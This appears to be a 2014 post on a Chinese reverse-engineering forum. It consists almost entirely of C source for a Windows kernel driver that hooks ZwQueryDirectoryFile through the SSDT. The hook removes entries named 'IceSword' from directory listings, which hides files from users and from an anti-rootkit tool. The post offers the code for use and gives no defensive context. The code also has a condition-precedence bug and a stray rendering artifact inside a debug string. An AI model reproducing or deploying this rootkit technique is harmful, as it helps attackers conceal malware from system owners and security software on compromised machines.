滴水逆向联盟

标题: vc是实现RootKit文件隐藏 [打印本页]

作者: 大灰狼    时间: 2014-7-18 08:49
标题: vc是实现RootKit文件隐藏

#include "ntddk.h"
#include <windef.h>

#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);

//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );

typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);








#include "Hidefile.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;

DriverObject->DriverUnload = Unload;

KdPrint(("Driver Entry Called!/n"));

KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;

return ntStatus;
}

VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
return;
}

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
  break;
case FileFullDirectoryInformation:
  result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdFullDirectoryInformation:
  result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileBothDirectoryInformation:
  result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileIdBothDirectoryInformation:
  result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
  break;
case FileNamesInformation:
  result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
  break;
}
return result;
}

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
switch(FileInfo){
case FileDirectoryInformation:
  ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileFullDirectoryInformation:
  ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdFullDirectoryInformation:
  ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileBothDirectoryInformation:
  ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileIdBothDirectoryInformation:
  ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
case FileNamesInformation:
  ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
  break;
}
}

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
PVOID result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
  break;
case FileFullDirectoryInformation:
  result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdFullDirectoryInformation:
  result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileBothDirectoryInformation:
  result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileIdBothDirectoryInformation:
  result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
  break;
case FileNamesInformation:
  result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
  break;
}
return result;
}

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
ULONG result = 0;
switch(FileInfo){
case FileDirectoryInformation:
  result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
  break;
case FileFullDirectoryInformation:
  result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdFullDirectoryInformation:
  result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileBothDirectoryInformation:
  result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileIdBothDirectoryInformation:
  result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
  break;
case FileNamesInformation:
  result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
  break;
}
return result;
}

NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
  FileHandle,
  Event,
  ApcRoutine,
  ApcContext,
  IoStatusBlock,
  FileInformation,
  Length,
  FileInformationClass,
  ReturnSingleEntry,
  FileMask,
  RestartScan);

if(NT_SUCCESS(ntStatus) &&
  FileInformationClass == FileDirectoryInformation ||
  FileInformationClass == FileFullDirectoryInformation ||
  FileInformationClass == FileIdFullDirectoryInformation ||
  FileInformationClass == FileBothDirectoryInformation ||
  FileInformationClass == FileIdBothDirectoryInformation ||
  FileInformationClass == FileNamesInformation
  )
{
  PVOID p = FileInformation;
  PVOID pLast = NULL;
  DWORD pLastOne = 0;
  KdPrint(("<--------/n"));
  do{
   pLastOne = GetNextEntryOffset(p,FileInformationClass);
   KdPrint(("

  • Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
       
       if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )
       {
        KdPrint(("[-]Hide...../n"));
        if(pLastOne == 0)
        {
         if (p == FileInformation)
          ntStatus = STATUS_NO_MORE_FILES;
         else
          SetNextEntryOffset(pLast,FileInformationClass, 0);
         break;
        }
        else
        {
         int iPos = ((ULONG)p) - (ULONG)FileInformation;
         int iLeft = (DWORD)Length - iPos - pLastOne;
         RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
         KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
          iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
         continue;
        }
       }
       pLast = p;
       p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
      }while (pLastOne != 0);
      KdPrint(("-------->/n"));
    }

    return ntStatus;
    }







    欢迎光临 滴水逆向联盟 (http://dtdebug.com/) Powered by Discuz! X3.2